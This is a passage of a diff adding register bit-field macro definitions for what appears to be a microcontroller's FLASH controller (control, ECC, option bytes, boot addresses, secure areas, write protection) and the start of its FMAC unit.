FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define 